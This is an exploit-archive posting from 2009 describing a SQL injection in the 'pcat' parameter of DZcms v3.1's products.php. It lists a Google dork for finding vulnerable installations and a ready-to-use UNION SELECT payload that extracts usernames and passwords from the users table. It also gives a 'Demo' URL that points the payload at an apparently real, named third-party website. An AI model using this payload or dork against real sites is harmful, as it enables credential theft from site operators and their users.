DZcms v.3.1 (products.php pcat) Remote SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : DZcms v.3.1 (products.php pcat) Remote SQL Injection Vulnerability
# Published : 2009-01-11
# Author : Glafkos Charalambous
# Previous Title : Fast Guest Book (Auth Bypass) SQL Injection Vulnerability
# Next Title : Seo4SMF for SMF forums Multiple Vulnerabilities

Application: DZcms v.3.1
Vendor Name: CyDezines
Vendor Url: http://www.cydezines.com
Bug Type: dzCMS SQL Injection Vulnerability
Exploitation: Remote
Severity: High
Solution Status: Unpatched
Google Dork: "Powered by DZcms"

POC: http://www.demo.com/products.php?pcat=1'+union+select+all+convert(group_concat(username,0x3a,password)%20using%20latin1),2,3,4,5+from+users/*

Demo:
http://www.psgdynamicsystems.com/products.php?pcat=1'+union+select+all+convert(group_concat(username,0x3a,password)%20using%20latin1),2,3,4,5+from+users/*

Credits: Glafkos Charalambous
glafkos [at] astalavista [dot] com

# www.Syue.com [2009-01-11]